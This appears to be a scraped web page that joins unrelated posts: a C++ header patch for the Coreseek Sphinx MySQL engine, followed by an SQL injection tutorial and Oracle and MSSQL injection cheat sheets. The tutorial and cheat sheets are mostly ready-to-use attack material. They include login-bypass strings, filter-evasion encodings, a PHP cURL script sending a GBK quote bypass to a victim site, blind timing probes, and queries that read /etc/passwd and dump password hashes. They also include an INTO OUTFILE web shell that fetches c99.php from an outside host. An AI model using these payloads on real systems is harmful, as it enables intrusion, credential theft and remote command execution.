Coreseek 4.1 beta MySQL sphinx engine update

When compiling MySql with Sphinx engine support, I got the error:

In file included from /root/mysql-5.6.9-rc/storage/sphinx/ha_sphinx.cc:62:
/root/mysql-5.6.9-rc/storage/sphinx/ha_sphinx.h:130: error: ISO C++ forbids declaration of 'COND' with no type
/root/mysql-5.6.9-rc/storage/sphinx/ha_sphinx.h:130: error: 'COND' declared as a 'virtual' field
/root/mysql-5.6.9-rc/storage/sphinx/ha_sphinx.h:130: error: expected ';' before '*' token

The sphinx engine comes with Coreseek (coreseek-4.1-beta) needs to be updated. Here is the updated file: ha_sphinx.h

//
// $Id: ha_sphinx.h 3858 2013-05-15 16:51:49Z tomat $
//

#ifdef USE_PRAGMA_INTERFACE
#pragma interface // gcc class implementation
#endif


#if MYSQL_VERSION_ID>=50515
#define TABLE_ARG	TABLE_SHARE
#elif MYSQL_VERSION_ID>50100
#define TABLE_ARG	st_table_share
#else
#define TABLE_ARG	st_table
#endif


#if MYSQL_VERSION_ID>=50120
typedef uchar byte;
#endif


/// forward decls
class THD;
struct CSphReqQuery;
struct CSphSEShare;
struct CSphSEAttr;
struct CSphSEStats;
struct CSphSEThreadData;

/// Sphinx SE handler class
class ha_sphinx : public handler
{
protected:
	THR_LOCK_DATA	m_tLock;				///< MySQL lock

	CSphSEShare *	m_pShare;				///< shared lock info

	uint			m_iMatchesTotal;
	uint			m_iCurrentPos;
	const byte *	m_pCurrentKey;
	uint			m_iCurrentKeyLen;

	char *			m_pResponse;			///< searchd response storage
	char *			m_pResponseEnd;			///< searchd response storage end (points to wilderness!)
	char *			m_pCur;					///< current position into response
	bool			m_bUnpackError;			///< any errors while unpacking response

public:
#if MYSQL_VERSION_ID<50100
					ha_sphinx ( TABLE_ARG * table_arg ); // NOLINT
#else
					ha_sphinx ( handlerton * hton, TABLE_ARG * table_arg );
#endif
					~ha_sphinx () {}

	const char *	table_type () const		{ return "SPHINX"; }	///< SE name for display purposes
	const char *	index_type ( uint )		{ return "HASH"; }		///< index type name for display purposes
	const char **	bas_ext () const;								///< my file extensions

	#if MYSQL_VERSION_ID>50100
	ulonglong		table_flags () const	{ return HA_CAN_INDEX_BLOBS; }			///< bitmap of implemented flags (see handler.h for more info)
	#else
	ulong			table_flags () const	{ return HA_CAN_INDEX_BLOBS; }			///< bitmap of implemented flags (see handler.h for more info)
	#endif

	ulong			index_flags ( uint, uint, bool ) const	{ return 0; }	///< bitmap of flags that says how SE implements indexes
	uint			max_supported_record_length () const	{ return HA_MAX_REC_LENGTH; }
	uint			max_supported_keys () const				{ return 1; }
	uint			max_supported_key_parts () const		{ return 1; }
	uint			max_supported_key_length () const		{ return MAX_KEY_LENGTH; }
	uint			max_supported_key_part_length () const	{ return MAX_KEY_LENGTH; }

	#if MYSQL_VERSION_ID>50100
	virtual double	scan_time ()	{ return (double)( stats.records+stats.deleted )/20.0 + 10; }	///< called in test_quick_select to determine if indexes should be used
	#else
	virtual double	scan_time ()	{ return (double)( records+deleted )/20.0 + 10; }				///< called in test_quick_select to determine if indexes should be used
	#endif

	virtual double	read_time ( ha_rows rows )	{ return (double)rows/20.0 + 1; }					///< index read time estimate

public:
	int				open ( const char * name, int mode, uint test_if_locked );
	int				close ();

	int				write_row ( byte * buf );
	int				update_row ( const byte * old_data, byte * new_data );
	int				delete_row ( const byte * buf );
	int				extra ( enum ha_extra_function op );

	int				index_init ( uint keynr, bool sorted ); // 5.1.x
	int				index_init ( uint keynr ) { return index_init ( keynr, false ); } // 5.0.x

	int				index_end ();
	int				index_read ( byte * buf, const byte * key, uint key_len, enum ha_rkey_function find_flag );
	int				index_read_idx ( byte * buf, uint idx, const byte * key, uint key_len, enum ha_rkey_function find_flag );
	int				index_next ( byte * buf );
	int				index_next_same ( byte * buf, const byte * key, uint keylen );
	int				index_prev ( byte * buf );
	int				index_first ( byte * buf );
	int				index_last ( byte * buf );

	int				get_rec ( byte * buf, const byte * key, uint keylen );

	int				rnd_init ( bool scan );
	int				rnd_end ();
	int				rnd_next ( byte * buf );
	int				rnd_pos ( byte * buf, byte * pos );
	void			position ( const byte * record );

#if MYSQL_VERSION_ID>=50030
	int				info ( uint );
#else
	void			info ( uint );
#endif

	int				reset();
	int				external_lock ( THD * thd, int lock_type );
	int				delete_all_rows ();
	ha_rows			records_in_range ( uint inx, key_range * min_key, key_range * max_key );

	int				delete_table ( const char * from );
	int				rename_table ( const char * from, const char * to );
	int				create ( const char * name, TABLE * form, HA_CREATE_INFO * create_info );

	THR_LOCK_DATA **		store_lock ( THD * thd, THR_LOCK_DATA ** to, enum thr_lock_type lock_type );

public:
#if MYSQL_VERSION_ID<50610
	virtual const COND *	cond_push ( const COND *cond );
#else
	virtual const Item *		cond_push ( const Item *cond );
#endif	
	virtual void			cond_pop ();

private:
	uint32			m_iFields;
	char **			m_dFields;

	uint32			m_iAttrs;
	CSphSEAttr *	m_dAttrs;
	int				m_bId64;

	int *			m_dUnboundFields;

private:
	int				Connect ( const char * sQueryHost, ushort uPort );
	int				ConnectAPI ( const char * sQueryHost, int iQueryPort );
	int				HandleMysqlError ( struct st_mysql * pConn, int iErrCode );

	uint32			UnpackDword ();
	char *			UnpackString ();
	bool			UnpackSchema ();
	bool			UnpackStats ( CSphSEStats * pStats );
	bool			CheckResponcePtr ( int iLen );

	CSphSEThreadData *	GetTls ();
};


#if MYSQL_VERSION_ID < 50100
bool sphinx_show_status ( THD * thd );
#endif

int sphinx_showfunc_total_found ( THD *, SHOW_VAR *, char * );
int sphinx_showfunc_total ( THD *, SHOW_VAR *, char * );
int sphinx_showfunc_time ( THD *, SHOW_VAR *, char * );
int sphinx_showfunc_word_count ( THD *, SHOW_VAR *, char * );
int sphinx_showfunc_words ( THD *, SHOW_VAR *, char * );

//
// $Id: ha_sphinx.h 3858 2013-05-15 16:51:49Z tomat $
//

SQL Injection

SQL Injection Types

There are a number of categorized SQL injection types that can be executed with a web-browser. They are:

  • Poorly Filtered Strings
  • Incorrect Type Handling
  • Signature Evasion
  • Filter Bypassing
  • Blind SQL Injection

Poorly Filtered Strings

SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. This means that a user can input a variable that can be passed on as an SQL statement, resulting in database input manipulation by the end user.

Code that is vulnerable to this type of vulnerability might look something like this:

$pass = $_GET['pass'];
$password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';");

The query above is an SQL call to SELECT the password from the users database, with the password value being that of $var. If the user were to input a password that was especially designed to continue the SQL call, it may result in results that were not aforethought. An injection for this may look something like:

' OR 1 = 1 /*

Inserting the above into the form will result in the query being extended with an OR statement, resulting in a final query of:

SELECT password FROM users WHERE password = '' OR 1 = 1 /*

Because of the OR statement in the SQL query, the check for password = $var is insignificant as 1 does equal 1, thus the query will return TRUE, resulting in a positive login.

Incorrect Type Handling

Incorrect type handling based SQL injections occur when an input is not checked for type constraints. An example of this would be an ID field that is numeric, but there is no filtering in place to check that the user input is numeric. is_numeric() should always be used when the field type is explicitly supposed to be a number. An example of code that will not be subject to incorrect type handling injection is:

(is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1;
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

The above code checks that $_GET[‘id’] is a number, if TRUE returns $id = $_GET[‘id’], and if FALSE sets $id to 1. This kind of filtering will assure that the ID field is always numeric.

Signature Evasion

Many SQL injections will be somewhat blocked by intrusion detection and intrusion prevention systems using signature detection rules. Common programs that detect SQL injections are mod_security for Apache and Snort. These programs aren't fool proof and as such, the signatures can be evaded. There are many methods that can be used to bypass signature detection, some of which will be described here.

Different Encoding

Signature evasion can be made possible with a number of encoding tricks.

One basic and common encoding trick is the use of URL encoding. URL encoding would change an injection string that would normally look like the following:

NULL OR 1 = 1/*

To a URL encoded string that would be masked as:

NULL+OR+1%3D1%2F%2A

Thus the installed IDS system may not register the attack, and the signature will be evaded.

 

White Space Multiplicity

As common signature databases check for strings such as "OR " (OR followed by a space), it is possible to evade these signatures using different spacing techniques. These techniques can be the use of tabs, new lines/carriage return line feeds, and a variety of other white spaces.

If a signature is checking for OR followed by a space, it is possible to insert a new line as a space, which would be possible using the %0a value within a URL bar. Thus an injection that would normally look like:

NULL OR 'value'='value'/*

The whitespace within the injection would be replaced by a new line, looking like:

NULL%0aOR%0a'value'='value'/*

Would now appear to the server as:

NULL
OR
'value'='value'/*

The above string would then bypass the intrusion detection/prevention system and be executed within the MySQL server.

Arbitrary String Patterns

In MySQL, comments can be inserted into a query using the C syntax of /* to start the comment, and */ to end the comment. These comment strings can be used to evade signature detection of common words such as UNION, or OR. The following injection pattern may be picked up by an IDS:

NULL UNION ALL SELECT user,pass, FROM user_db WHERE user LIKE '%admin%/*

However, the same IDS may not detect the injection if keywords were commented as follows:

NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FROM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'//

The above breaks up keywords that an IPS such as Apache's mod_security would normally detect, allow the SQL injection attack to parse, and database tables to be read. Of course, an IDS will be able to check for strings of /* and */, however, a lot of sites, including blogging sites, pastebins, news sites etc may need to use C commenting blocks, resulting in a false positive.

Filter Bypassing

addslashes() & magic_quotes_gpc

In rare cases under certain conditions, filters such as addslashes() and magic_quotes_gpc can be bypassed when the vulnerable SQL server is using certain character sets such as the GBK character set.

In GBK, the hex value of 0xbf27 is not a valid multi-byte character, however, the hex value of 0xbf5c is. If the characters are constructed as single-byte characters, 0xbf5c is 0xbf (¿) followed by 0x5c (\); ¿\. And 0xbf27 is 0x27 (') following a 0xbf (¿); ¿'.

This comes in handy when single quotes are escaped with a backslash (\) using addslashes() or when magic_quotes_gpc is turned on. Although it appears at first that the injection point is blocked via one of these methods, we can bypass this by using 0xbf27. By injecting this hex code, addslashes() will modify 0xbf27 to become 0xbf5c27, which is a valid multi-byte character (0xbf5c) and is followed by an non-escaped inverted comma. In other words, 0xbf5c is recognised as a single character, so the backslash is useless, and the quote is not escaped.

Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection:

<?php
$url     = "http://www.victimsite.com/login.php";
$ref     = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
 
$ch      = curl_init();
 
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
curl_setopt( $ch, CURLOPT_COOKIE,         $session );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
 
$data = curl_exec( $ch );
 
print( $data );
curl_close( $ch );
?>

The CURLOPT_POSTFIELDS line sets the characters to be passed as multi-byte characters, and finishes the statement with OR 1=1/*, thus creating an injection that will bypass the addslashes() and/or magic_quotes_gpc checking.

mysql_real_escape_string()

Blind SQL Injection

Most good production environments do not allow you to see output in the form of error messages or extracted database fields whilst conducting SQL injections, these injections are known as Blind SQL Injections. They are titled Partially Blind Injections and Totally Blind Injections.

Partially Blind Injections are injections where you can see slight changes in the resulting page, for instance, an unsuccessful injection may redirect the attacker to the main page, where a successful injection will return a blank page.

Totally Blind Injections are unlike Partially Blind Injections in that they don't produce difference in output of any kind. This is still however injectable, though it's harder to determine whether an injection is actually taking place (Black Box Testing will be useless in these cases, only White Box Testing and Grey Box Testing will have any use in Blind SQL Injections).

MySQL BENCHMARK

Using MySQL's BENCHMARK will enable an attacker to determine whether an injection point is vulnerable or not. The BENCHMARK technique is basically abusing the function and if one isn't careful, can and will overload the server. However, as MySQL has no delay functions, injecting a string using BENCHMARK that will take 30 seconds to complete is a sure way of ascertaining data that would normally be hard to acquire in a Blind Injection with MySQL.

UNION ALL SELECT BENCHMARK(10000000,ENCODE('xyz','987'));
/*the above will take about 5 seconds on localhost*/
 
UNION ALL SELECT BENCHMARK(1000000,MD5(CHAR(118)))
/*the above will take about 7 seconds on localhost*/
 
UNION ALL SELECT BENCHMARK(5000000,MD5(CHAR(118)))
/*the above will take about 35 seconds on localhost*/

Once the above determines whether or not the injection point is vulnerable, it is possible to use IF statements to determine table names, and field values as such:

UNION ALL SELECT IF( username = 'admin', BENCHMARK(1000000,MD5(CHAR(118))),NULL) FROM users/*

The above will check for the username of admin and set a delay if the query returns true.

MSSQL WAITFOR DELAY

MSSQL's WAITFOR DELAY function allows an injection that is not CPU intensive, and will not overload the server. This technique is much safer than MySQL's BENCHMARK technique. It is possible to use the WAITFOR DELAY function in an injection to stall the server and determine whether an injection point is vulnerable or not.

WAITFOR DELAY '0:0:10'--
/* The above will set a delay of 10 seconds */
 
WAITFOR DELAY '0:0:0.5'--
/* It is also possible to use fractions, however, 
    in a blind injection fractions aren't very useful*/

The above are examples of the WAITFOR DELAY syntax. A real life injection may look more like the following:

; IF EXISTS(SELECT * FROM user_db) WAITFOR DELAY '0:0:10'--

The above will enable us to determine whether the database “user_db” exists or not.

PostgreSQL pg_sleep()

Like MSSQL, PostgreSQL has a non CPU intensive function that allows an attacker to determine whether or not an injection point is vulnerable or not. This function is pg_sleep(). pg_sleep() can be set to determine how many seconds the server will sleep for. The following demonstrates the use of pg_sleep() to sleep for 10 seconds:

SELECT pg_sleep(10);

SQL Injection Techniques

UNION Statements

The UNION statement in SQL is used to select information from two SQL tables. When using the UNION command all selected columns need to be of the same data type. The UNION ALL statement however, allows columns of all data types to be selected.

The UNION ALL statement can be used as an SQL Injection vector where an unsanitized dynamic script calls for data from a table such as news, and the UNION ALL statement is used modify and expand the SQL call. A script vulnerable to this type of injection may have a URI string that looks a little something like ./news.php?id=1338, and it's source may look similar to this:

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Due to the lack of filtering in $id variable, it is vulnerable to an SQL injection, including a UNION ALL injection such as:

NULL UNION ALL SELECT password FROM users WHERE username = 'admin'/*

The above would result in the following SQL query:

SELECT * FROM `news` WHERE `id` = NULL UNION ALL SELECT password FROM users WHERE username = 'admin'/*

This would result in a NULL value being called instead of the news ID, and the password of the account named 'admin' being echoed in it's place.

ORDER BY Statements

Using the ORDER BY SQL statement within an SQL injection allows an attacker to determine the number of columns within a query. It sorts the column number called within the statement in an ascending order. An ORDER BY injection would look like the following:

ORDER BY 5/*

By ordering by the integer 4, the SQL call is ordering by the 5th column called within the statement. Said statement may look like:

$news = mysql_query( "SELECT title,date,time,author,body FROM `news` WHERE `id` = $id" );

The above query has 5 columns, which would result in the injection resulting as TRUE and ordering the columns by the author name. If the ORDER BY statement was increased to 6 however, the page would return either an error, or another page such as a redirected or blank page. With that said, it is then apparent that the amount of columns called within the query is 5.

The final call of the above SQL query would result in:

SELECT title,date,time,author,body FROM `news` WHERE `id` = $id ORDER BY 5

LOAD_FILE()

The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL server. The file being read by LOAD_FILE() must have read rights by all users on the server, not just the server daemon. In order for a LOAD_FILE() injection to be successful, the absolute path of the file must be used, the use of a relative path will fail. To obtain an absolute path, see the article on Full Path Disclosure.

An LOAD_FILE() injection may look like:

NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*

If successful, the injection will display the contents of the passwd file.

 

INTO OUTFILE()

The OUTFILE() function within MySQL is often used to run a query, and dump the results into a file. An attacker could exploit this ability by including a PHP system call into an injection, and write the query into an outfile. In order for a OUTFILE() injection to be successful, the absolute path of the file must be used, the use of a relative path will fail. The directory also needs to be writable. To obtain an absolute path, see the article on Full Path Disclosure.

An INTO OUTFILE() injection may look like:

NULL UNION ALL SELECT null,null,null,null,'<?php system($_GET["command"]); ?>' INTO OUTFILE '/var/www/victim.com/shell.php'/*

If successful, it will then be possible to run system commands via the $_GET global. The following is an example of using wget to get a file:

http://www.victim.com/shell.php?command=wget http://www.example.com/c99.php

INFORMATION_SCHEMA

The MySQL INFORMATION_SCHEMA database (available from MySQL 5), is made up of table-like objects (aka, system views), that result in the exposure of metadata in a relational format. The execution of arbitrary injections via SELECT statements are thus possible to retrieve or to format said metadata. Metadata is only accessible to an attacker if the objects retrieved are accessible by the current user account. The INFORMATION_SCHEMA database is automatically created by the server upon MySQL installation, and the metadata within is maintained by the server.

The INFORMATION_SCHEMA database is made up of the following objects:

SCHEMATA
TABLES
COLUMNS
STATISTICS
USER_PRIVILEGES
SCHEMA_PRIVILEGES
TABLE_PRIVILEGES
COLUMN_PRIVILEGES
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
TABLE_CONSTRAINTS
KEY_COLUMN_USAGE
ROUTINES
VIEWS
TRIGGERS
PROFILING

An injection exploiting the INFORMATION_SCHEMA database may look like the following:

UNION ALL SELECT * FROM INFORMATION_SCHEMA.TABLES/*

The above statement would result in the output of all database tables accessible by the current MySQL user.

In the case that the above SELECT statement returns false, it is possible to extend the statement to circumvent any restrictions.

An extended INFORMATION_SCHEMA statement may appear as follows:

SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'db_name' [AND table_name LIKE 'wild']
 
SHOW TABLES FROM db_name [LIKE 'wild']

Char()

The Char() function interprets each value as an integer and returns a string based on given the characters by the code values of those integers. With Char(), NULL values are skipped. The function is used within Microsoft SQL Server, Sybase, and MySQL, while CHR() is used by RDBMSs.

SQL's Char() function comes in handy when (for example) addslashes() for PHP is used as a precautionary measure within the SQL query. Using Char() removes the need of quotation marks within the injected query.

An example of some PHP code vulnerable to an SQL injection using Char() would look similar to the following:

$uname = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $id;

While addslashes() has been used, the script fails properly sanitize the input as there is no trailing quotation mark. This could be exploited using the following SQL injection string to load the /etc/passwd file:

NULL UNION ALL SELECT LOAD_FILE(CHAR(34,47,101,116,99,47,112,97,115,115,119,100,34))/*

It could also be used to force the application to allow LIKE statements to search for users like %admin%, as follows:

NULL UNION ALL SELECT username,password,null,null FROM users WHERE username LIKE CHAR(34,37,97,100,109,105,110,37,34)/*

The syntax of the Char() function changes slightly when dealing with Microsoft SQL Server. For instance, the example given above would translate to the following:

NULL UNION ALL SELECT username,password,null,null FROM users WHERE username LIKE
CHAR(34) + CHAR(37) + CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) + CHAR(37) + CHAR(34)/*

CAST()

Occasionally it may be necessary to change the data type of the variables in an injection to execute it without type mismatch errors. From time to time dynamic pages may be encountered that will only display certain types of data (strings, integers, dates etc) in certain positions. The CAST function can be used to bypass this and to convert data so that it can be displayed. Take the following example:

NULL UNION ALL SELECT 1,2,3,4,5/*

The column at position 3 may only be allowed to display a string. It may be necessary to either enclose the 3 in inverted commas or to use the CAST function like the following example:

NULL UNION ALL SELECT 1,2,CAST(3 as nvarchar),4,5/*

This would still display a 3, but the server would treat it as a string and not an integer. There are numerous data types you can convert to including int, nvarchar, datetime and sql_variant to name just a few.

LIMIT

The MySQL LIMIT function is extremely useful. Some web pages don't always display lists of information but rather one record from the database. When this is the case, it will be necessary to form an injection that can display one record from a data set but still enable the retrieval of all records. The LIMIT function has the following syntax:

LIMIT 0,1

In the example above, LIMIT is given the parameters 0 and 1. The 0 represents the position within the data set and the 1 represents the number of records to retrieve. This example would retrieve the first record within the data set. The following would display the first 10 records:

LIMIT 0,10

To demonstrate how this would be useful, take the following injection:

NULL UNION ALL SELECT username, password, 3, 4 FROM users LIMIT 0,1

On a page that returns a single record, this would return the first record in the users table. Incrementing the start position, the 0, would return the 2nd record, 3rd record and so on until the end of the data set is reached.

On a Microsoft SQL Server there is no LIMIT function. However it is possible, albeit much more complex, to accomplish the same outcome with the use of the TOP command and a sub-query.

To illustrate the use of this technique, consider the example above which would translate to the following:

NULL UNION ALL SELECT TOP 1 username, password, 3, 4 FROM users WHERE username NOT IN (SELECT TOP 0 username FROM users)

Now this is a complex query and the sub query is the key component here. Essentially it tells the database to return the first record that isn't found within the sub query. This only works effectively when there's a unique field to compare against, usually id or username fields.

The query above tells the database to retrieve, in this case, the first record from the users table. The TOP 0 in the sub query is essentially the same as the 0 in the LIMIT example provided earlier, and the TOP 1 in the main query would translate to the 1 in that same example. To return the next record simply increment the 0.

Information Gathering Techniques

There are a number of information gathering techniques within SQL. These can be used for reconnaissance purposes to gather any needed information about the victim site.

@@version @@version is used within SQL Server to discover which version of the server is running. An injection may look something like:

;SELECT @@VERSION--

The output of the above statement would look similar to the following:

Microsoft SQL Server  7.00 - 7.00.623 (Intel X86)
        Nov 27 1998 22:20:07
        Copyright (c) 1988-1998 Microsoft Corporation
        Desktop Edition on Windows NT 5.1 (Build 2600: )

SQL Injection Mitigation

There are a number of ways to prevent MySQL injections within PHP. The most common ways are using functions such as addslashes() and mysql_real_escape_string().

addslashes()

addslashes() will return a string with a backslash before characters that need to be sanitized in database queries. These characters are single quotes (' = \') double quotes (" = \") and the nullbyte (%00 = \0).

addslashes() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:

$id = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $id;

However, if the script looked something like the following, addslashes() would prevent an SQL injection:

$uname = addslashes( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = "' . $uname . '";

mysql_real_escape_string()

mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:

$uname = mysql_real_escape_string( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = ' . $uname;

However, if the script looked something like the following, mysql_real_escape_string() would prevent an SQL injection:

$uname = mysql_real_escape_string( $_GET['id'] );
$query = 'SELECT username FROM users WHERE id = "' . $uname . '";

is_numeric()

PHP's is_numeric() function can be used to check if a query is numeric or not, and return TRUE or FALSE. This function can be used to prevent SQL injections where the $id integer is called. The following is an example of the use of is_numeric() to prevent SQL injection:

$id = $_GET['id'];
( is_numeric( $id ) ? TRUE : FALSE );

sprintf()

sprintf() can be used with conversion specifications to ensure that the dynamic argument is treated the way it's suppose to be treated. For example, if a call for the users ID number were in the string, %d would be used to ensure the argument is treated as an integer, and presented as a (signed) decimal number. An example of this is as follows:

$id = $_GET['id'];
$query = sprintf("SELECT username FROM users WHERE id = '%d' ", $id);

htmlentities($var, ENT_QUOTES)

htmlentities() in conjunction with the optional second quote_style parameter, allows the use of ENT_QUOTES, which will convert both double and single quotes. This will work in the same sense as addslashes() and mysql_real_escape_string() in regards to quotation marks, however, instead of prepending a backslash, it will use the HTML entity of the quotation mark.

In addition to using ENT_QUOTES within htmlentities(), a third parameter can be set which forces the use of a character set within conversion. This will help stop unpredicted results from using multibyte characters in character sets such as BIG5 and GPK.

The following is an example of code which would help to prevent SQL injection in PHP.

$id = $_GET['id'];
$id = htmlentities( $id, ENT_QUOTES, 'UTF-8' );
 
$query = 'SELECT username FROM users WHERE id = "' . $id . '"';

 

Oracle SQL Injection Cheat Sheet

Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;

SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;

SELECT version FROM v$instance;

Comments SELECT 1 FROM dual — comment

– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.

Current User SELECT user FROM dual
List Users SELECT username FROM all_users ORDER BY username;

SELECT name FROM sys.user$; — priv

List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked

SELECT name,spare4 FROM sys.user$ — priv, 11g

 Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; — current privs

SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs

SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current Database SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;

List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)

– Also query TNS listener for other databases.  See tnscmd (services | status).

List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

List Tables SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;

Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2

SELECT bitand(6,1) FROM dual; — returns0

ASCII Value -> Char SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65
Casting SELECT CAST(1 AS char) FROM dual;

SELECT CAST(’1′ AS int) FROM dual;

String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1

SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2

Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT

SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow

SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow

SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow

– Also see Heavy Queries to create a time delay

Make DNS Requests SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;

SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access UTL_FILE can sometimes be used.  Check that the following is non-null:

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).

Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;

SELECT host_name FROM v$instance;

SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address

SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames

Location of DB files SELECT name FROM V$DATAFILE;
Default/System Databases SYSTEM

SYSAUX

 

MSSQL SQL Injection Cheat Sheet

Version SELECT @@version
Comments SELECT 1 — comment

SELECT /*comment*/1

Current User SELECT user_name();

SELECT system_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

List Users SELECT name FROM master..syslogins
List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000;

SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.

SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;

SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

 Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
List Privileges – current privs on a particular object in 2005, 2008

SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database

SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server

SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table

SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

 

–permissions on a user– current privs in 2005, 2008

SELECT is_srvrolemember(‘sysadmin’);

SELECT is_srvrolemember(‘dbcreator’);

SELECT is_srvrolemember(‘bulkadmin’);

SELECT is_srvrolemember(‘diskadmin’);

SELECT is_srvrolemember(‘processadmin’);

SELECT is_srvrolemember(‘serveradmin’);

SELECT is_srvrolemember(‘setupadmin’);

SELECT is_srvrolemember(‘securityadmin’);

– who has a particular priv? 2005, 2008

SELECT name FROM master..syslogins WHERE denylogin = 0;

SELECT name FROM master..syslogins WHERE hasaccess = 1;

SELECT name FROM master..syslogins WHERE isntname = 0;

SELECT name FROM master..syslogins WHERE isntgroup = 0;

SELECT name FROM master..syslogins WHERE sysadmin = 1;

SELECT name FROM master..syslogins WHERE securityadmin = 1;

SELECT name FROM master..syslogins WHERE serveradmin = 1;

SELECT name FROM master..syslogins WHERE setupadmin = 1;

SELECT name FROM master..syslogins WHERE processadmin = 1;

SELECT name FROM master..syslogins WHERE diskadmin = 1;

SELECT name FROM master..syslogins WHERE dbcreator = 1;

SELECT name FROM master..syslogins WHERE bulkadmin = 1;

List DBA Accounts SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation

SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.

